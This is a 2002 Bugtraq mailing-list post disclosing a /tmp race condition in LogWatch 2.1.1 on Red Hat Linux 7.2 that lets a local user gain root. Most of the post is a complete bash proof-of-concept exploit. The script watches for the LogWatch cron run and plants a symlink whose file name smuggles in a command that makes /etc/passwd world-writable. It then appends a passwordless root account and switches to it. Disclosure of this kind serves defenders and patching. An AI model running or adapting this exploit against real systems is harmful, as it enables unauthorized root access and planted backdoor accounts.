Home page logo
/

bugtraq logo Bugtraq mailing list archives

Root compromise through LogWatch 2.1.1
From: "Spybreak" <spybreak () host sk>
Date: Wed, 27 Mar 2002 03:16:26 +0100

Release  : March 27 2002
Author   : Spybreak <spybreak () host sk>
Software : LogWatch
Version  : 2.1.1
Homepage : www.kaybee.org/~kirk/html/linux.html
Problems : A /tmp race condition leads to root
 



--- INTRO ---

LogWatch is a customizable log analysis system. LogWatch parses  
through your system's logs for a given period of time and creates a
report analyzing areas that you specify, in as much detail as you
require.

The collected results are reported to a chosen e-mail address,
root by default.

LogWatch 2.1.1 is a part of the Red Hat Linux 7.2 distribution,
enabled by default and daily run by the cron daemon.


--- PROBLEM ---

On a system running LogWatch, a local user is able to gain
unauthorized root access, due to a race condition during
the temporary directory creation.

--- EXPLOIT ---

cat > logwatch211.sh <<EOF

#!/bin/bash
#
# March 27 2002
#
# logwatch211.sh
#
# Proof of concept exploit code
# for LogWatch 2.1.1
# Waits for LogWatch to be run then gives root shell
# For educational purposes only
#
# (c) Spybreak <spybreak () host sk>


SERVANT="00-logwatch" # Logwatch's cron entry
SCRIPTDIR=/etc/log.d/scripts/logfiles/samba/

echo
echo "LogWatch 2.1.1 root shell exploit"
echo '(c) Spybreak <spybreak () host sk>'
echo
echo "Waiting for LogWatch to be executed"
 
while :; do
  set `ps -o pid -C $SERVANT`
    if [ -n "$2" ]; then
      mkdir /tmp/logwatch.$2   
      ln -s $SCRIPTDIR'`cd etc;chmod 666 passwd #`' /tmp/logwatch.$2/cron
      break;
    fi
done
echo "Waiting for LogWatch to finish it's work"
while :; do
  set `ps -o pid -C $SERVANT`
    if [ -z "$2" ]; then
      ls -l /etc/passwd|mail root
      echo master::0:0:master:/root:/bin/bash >> /etc/passwd
      break;
    fi
done
su master  
  
EOF
      
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

mQGiBDyNCFYRBADSWAw4wBseXXi5O85Y/vXLauDyIZWCDg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XyCUsJi42O7cAnjjZ0x6WOvGcX8nicpPCeUiyAIFmAJ49
JuaXm+j6UXFsTyeAkSYbGwHP5g==
=0feG
-----END PGP PUBLIC KEY BLOCK-----


  By Date           By Thread  

Current thread:
  • Root compromise through LogWatch 2.1.1 Spybreak (Mar 27)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault